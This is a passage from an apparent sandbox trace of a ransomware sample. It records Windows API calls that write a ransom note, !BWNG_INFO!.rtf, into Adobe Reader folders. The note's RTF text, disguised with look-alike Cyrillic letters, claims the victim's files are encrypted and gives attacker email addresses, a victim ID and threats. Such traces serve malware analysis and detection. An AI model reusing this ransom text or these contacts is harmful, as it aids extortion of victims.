D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.089] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.090] CloseHandle (hObject=0x1c4) returned 1 [0041.090] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.090] GetLastError () returned 0x2 [0041.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 